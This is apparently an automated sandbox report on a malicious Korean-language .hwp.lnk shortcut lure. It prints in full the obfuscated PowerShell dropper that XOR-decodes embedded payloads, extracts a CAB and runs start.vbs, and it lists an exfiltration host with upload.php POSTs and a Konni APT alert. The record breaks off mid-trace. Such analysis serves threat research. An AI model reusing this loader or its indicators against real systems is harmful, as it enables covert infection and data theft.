Summary | ZeroBOX

부가가치세 수정신고 안내(부가가치세사무처리규정).hwp.lnk

Generic Malware PS Antivirus PostScript Malicious Library MSOffice File AntiDebug GIF Format Lnk Format PE32 PE File CAB JPEG Format AntiVM PowerShell HWP
Category Machine Started Completed
FILE s1_win7_x6402 June 12, 2024, 10:19 a.m. June 12, 2024, 10:22 a.m.
Size 52.6MB
Type MS Windows shortcut, Has Description string, Has command line arguments, Icon number=0, ctime=Sun Dec 31 15:32:08 1600, mtime=Sun Dec 31 15:32:08 1600, atime=Sun Dec 31 15:32:08 1600, length=0, window=hidenormalshowminimized
MD5 0777cbcc96dd9a2d4319a4bf9404bba7
SHA256 6d901221cb5162c190cce720726889ccb1f8435f5d71fb05614672497425e931
CRC32 C58E76E9
ssdeep 3072:bnazb1lV/rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr5rrXPGtQ7BAlWcP:WvVwG760f/92GXwnPTJV
Yara
  • lnk_file_format - Microsoft Windows Shortcut File Format
  • Lnk_Format_Zero - LNK Format

  • cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "vvPxIdcySsbVooj" "C:\Users\test22\AppData\Local\Temp\부가가치세 수정신고 안내(부가가치세사무처리규정).hwp.lnk"

    3044
    • cmd.exe "C:\Windows\system32\cmd.exe" /c p^owe^rshe^l^l -windowstyle hidden function qrimnpVhAd{param($ByimtbmyEg,$kNeZQMhNGyPy,$EgbvteukmW,$HziPgoYBSPP,$LnMqRSoGrHUl);^<#remandment manifoldly#^> $GwkiDUHMjE=New-Object ^<#rashbuss unwinnable#^>System.IO.FileStream($ByimtbmyEg,^<#pachomian stremmas#^>[System.IO.FileMode]::Open,^<#snugify coordinateness#^>[System.IO.FileAccess]::Read);^<#stylet enomotarch#^> $GwkiDUHMjE.Seek($kNeZQMhNGyPy,^<#pentactinal amble#^>[System.IO.SeekOrigin]::Begin);^<#predisadvantage anisocratic#^> $cKTwlnwsNcq=New-Object ^<#unseducible nonperpendicularity#^>byte[] $EgbvteukmW;^<#coronadite spiraloid#^> $GwkiDUHMjE.Read($cKTwlnwsNcq,^<#uniformest ankylurethria#^>0,$EgbvteukmW);^<#tablespoonful tracking#^> $GwkiDUHMjE.Close();for($FOalSAHFmDqf=0;$FOalSAHFmDqf -lt $EgbvteukmW;$FOalSAHFmDqf++){$cKTwlnwsNcq[$FOalSAHFmDqf]=$cKTwlnwsNcq[$FOalSAHFmDqf] -bxor $HziPgoYBSPP;}sc ^<#aureoled herodiones#^> $LnMqRSoGrHUl ^<#gelidium mutualized#^> $cKTwlnwsNcq -Encoding ^<#teliosporiferous nonjurying#^> Byte;};function sITqPCecquhp{param($XufbRmnzTCYI);^<#txt splenectama#^> $OWiCCpWxFZLj=Get-ChildItem ^<#invigilator pastiness#^>-Path ^<#humified flocculant#^> $XufbRmnzTCYI -Recurse ^<#overlaness satellite#^>*.lnk ^<#pomster hitlerism#^>^| ^<#sailyard ideologue#^>where-object ^<#stotterel sinkable#^>{$_.length ^<#serbonian prenominated#^>-eq 0x0349AE4F} ^<#indemonstrability oralogist#^>^| Select-Object ^<#electrobrasser flambage#^>-ExpandProperty ^<#contacted fishhouse#^>FullName; return ^<#orhamwood countertouch#^> $OWiCCpWxFZLj;^<#zoophysical provingly#^>};$qEHFgOjaYnK=Get-Location;$qkoFVypQqMha=sITqPCecquhp ^<#uncriticism oglers#^>-XufbRmnzTCYI ^<#breakage noncarbonate#^> $qEHFgOjaYnK;if($qkoFVypQqMha.length^<#macroscopical crosshatch#^> -eq 0){$qkoFVypQqMha=sITqPCecquhp ^<#cosmo subheadings#^> -XufbRmnzTCYI $env:Temp;} $qEHFgOjaYnK=Split-Path ^<#overmelted overdiluting#^> $qkoFVypQqMha;$TvRfwPBxWW = $qkoFVypQqMha.substring(0,$qkoFVypQqMha.length-4) ^<#pharmacosiderite antimasker#^>+ '';qrimnpVhAd -ByimtbmyEg ^<#dextrotartaric sarcococca#^> $qkoFVypQqMha -kNeZQMhNGyPy ^<#trochars modelist#^> 0x00001E76 -EgbvteukmW 0x00011A00 -HziPgoYBSPP ^<#uncongestive achieve#^> 0x18 -LnMqRSoGrHUl ^<#visaing aglaozonia#^> $TvRfwPBxWW;^&^<#symplesite lysis#^> $TvRfwPBxWW;$pARWiRFyWslt=$env:public ^<#underpriced colligible#^>+ '\' ^<#hunger uncovers#^>+^<#superhelix imprudent#^> 'Byimtb.cab';qrimnpVhAd -ByimtbmyEg ^<#picturedom yieldable#^> $qkoFVypQqMha -kNeZQMhNGyPy ^<#commutable irrelevancies#^> 0x00013876 -EgbvteukmW ^<#uneviscerated moorman#^> 0x00013CDB -HziPgoYBSPP ^<#waterworm hubba#^> 0xC0 -LnMqRSoGrHUl ^<#unmaudlinly inculpatory#^> $pARWiRFyWslt;Remove-Item -Path ^<#egracias underproduction#^> $qkoFVypQqMha -Force;expand $pARWiRFyWslt ^<#thomistical noster#^> -F:* ^<#auger involucred#^> ($env:public ^<#punting capita#^>+^<#definitions coalescent#^> '\' ^<#moneymakers doggrelize#^>+^<#hicks antirestoration#^> 'documents');remove-item ^<#acieration impracticalness#^> -path ^<#supernaturalised shielings#^> $pARWiRFyWslt ^<#cassius starosty#^>-force;$TdtCmdVzpdm=$env:public^<#caprin utopists#^>+'\documents\start.vbs';^&^<#fatherkin unflared#^> $TdtCmdVzpdm;

      1784
      • powershell.exe powershell -windowstyle hidden function qrimnpVhAd{param($ByimtbmyEg,$kNeZQMhNGyPy,$EgbvteukmW,$HziPgoYBSPP,$LnMqRSoGrHUl);<#remandment manifoldly#> $GwkiDUHMjE=New-Object <#rashbuss unwinnable#>System.IO.FileStream($ByimtbmyEg,<#pachomian stremmas#>[System.IO.FileMode]::Open,<#snugify coordinateness#>[System.IO.FileAccess]::Read);<#stylet enomotarch#> $GwkiDUHMjE.Seek($kNeZQMhNGyPy,<#pentactinal amble#>[System.IO.SeekOrigin]::Begin);<#predisadvantage anisocratic#> $cKTwlnwsNcq=New-Object <#unseducible nonperpendicularity#>byte[] $EgbvteukmW;<#coronadite spiraloid#> $GwkiDUHMjE.Read($cKTwlnwsNcq,<#uniformest ankylurethria#>0,$EgbvteukmW);<#tablespoonful tracking#> $GwkiDUHMjE.Close();for($FOalSAHFmDqf=0;$FOalSAHFmDqf -lt $EgbvteukmW;$FOalSAHFmDqf++){$cKTwlnwsNcq[$FOalSAHFmDqf]=$cKTwlnwsNcq[$FOalSAHFmDqf] -bxor $HziPgoYBSPP;}sc <#aureoled herodiones#> $LnMqRSoGrHUl <#gelidium mutualized#> $cKTwlnwsNcq -Encoding <#teliosporiferous nonjurying#> Byte;};function sITqPCecquhp{param($XufbRmnzTCYI);<#txt splenectama#> $OWiCCpWxFZLj=Get-ChildItem <#invigilator pastiness#>-Path <#humified flocculant#> $XufbRmnzTCYI -Recurse <#overlaness satellite#>*.lnk <#pomster hitlerism#>| <#sailyard ideologue#>where-object <#stotterel sinkable#>{$_.length <#serbonian prenominated#>-eq 0x0349AE4F} <#indemonstrability oralogist#>| Select-Object <#electrobrasser flambage#>-ExpandProperty <#contacted fishhouse#>FullName; return <#orhamwood countertouch#> $OWiCCpWxFZLj;<#zoophysical provingly#>};$qEHFgOjaYnK=Get-Location;$qkoFVypQqMha=sITqPCecquhp <#uncriticism oglers#>-XufbRmnzTCYI <#breakage noncarbonate#> $qEHFgOjaYnK;if($qkoFVypQqMha.length<#macroscopical crosshatch#> -eq 0){$qkoFVypQqMha=sITqPCecquhp <#cosmo subheadings#> -XufbRmnzTCYI $env:Temp;} $qEHFgOjaYnK=Split-Path <#overmelted overdiluting#> $qkoFVypQqMha;$TvRfwPBxWW = $qkoFVypQqMha.substring(0,$qkoFVypQqMha.length-4) <#pharmacosiderite antimasker#>+ '';qrimnpVhAd -ByimtbmyEg <#dextrotartaric sarcococca#> $qkoFVypQqMha -kNeZQMhNGyPy <#trochars modelist#> 0x00001E76 -EgbvteukmW 0x00011A00 -HziPgoYBSPP <#uncongestive achieve#> 0x18 -LnMqRSoGrHUl <#visaing aglaozonia#> $TvRfwPBxWW;&<#symplesite lysis#> $TvRfwPBxWW;$pARWiRFyWslt=$env:public <#underpriced colligible#>+ '\' <#hunger uncovers#>+<#superhelix imprudent#> 'Byimtb.cab';qrimnpVhAd -ByimtbmyEg <#picturedom yieldable#> $qkoFVypQqMha -kNeZQMhNGyPy <#commutable irrelevancies#> 0x00013876 -EgbvteukmW <#uneviscerated moorman#> 0x00013CDB -HziPgoYBSPP <#waterworm hubba#> 0xC0 -LnMqRSoGrHUl <#unmaudlinly inculpatory#> $pARWiRFyWslt;Remove-Item -Path <#egracias underproduction#> $qkoFVypQqMha -Force;expand $pARWiRFyWslt <#thomistical noster#> -F:* <#auger involucred#> ($env:public <#punting capita#>+<#definitions coalescent#> '\' <#moneymakers doggrelize#>+<#hicks antirestoration#> 'documents');remove-item <#acieration impracticalness#> -path <#supernaturalised shielings#> $pARWiRFyWslt <#cassius starosty#>-force;$TdtCmdVzpdm=$env:public<#caprin utopists#>+'\documents\start.vbs';&<#fatherkin unflared#> $TdtCmdVzpdm;

        156

Name Response Post-Analysis Lookup
sibbss.com 176.97.64.174
IP Address Status Action
164.124.101.2 Active Moloch
176.97.64.174 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49176 -> 176.97.64.174:80 2046820 ET MALWARE [ANY.RUN] Konni.APT Exfiltration A Network Trojan was detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0
Time & API Arguments Status Return Repeated

WriteConsoleA

buffer: M
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: i
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: c
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: r
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: o
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: s
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: o
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: f
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: t
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: R
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: F
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: i
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: l
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: e
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: E
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: x
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: p
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: a
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: n
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: s
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: i
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: o
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: n
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: U
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: t
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: i
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: l
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: i
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: t
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: y
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: V
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: e
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: r
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: s
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: i
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: o
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: n
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: C
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: o
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: p
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: y
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: r
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: i
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: g
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: h
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: t
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: c
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: M
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: i
console_handle: 0x00000007
1 1 0

WriteConsoleA

buffer: c
console_handle: 0x00000007
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00281768
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002814a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002814a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002814a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002810a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002810a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002810a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002810a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002810a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002810a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00280ba8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00280ba8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00280ba8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002816a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002816a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002816a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00281268
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002816a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002816a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002816a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002816a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002816a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002816a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x002816a8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00281568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00281568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00281568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00281568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00281568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00281568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00281568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00281568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00281568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00281568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00281568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00281568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00281568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00281568
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00280ce8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00280ce8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00280ce8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00280ce8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00280ce8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00280ce8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x00280ce8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
suspicious_features POST method with no referer header, POST method with no useragent header suspicious_request POST http://sibbss.com/upload.php
request POST http://sibbss.com/upload.php
request POST http://sibbss.com/upload.php
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

process_identifier: 156
region_size: 983040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02950000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a00000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 156
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73921000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0263a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

process_identifier: 156
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73922000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02632000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02642000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a01000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a02000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02643000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02644000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0267b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02677000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0263b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02662000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02675000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02645000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0266c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02900000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02646000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0267c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02663000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02664000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02665000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02666000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02667000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02668000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02669000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b10000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b11000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 156
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
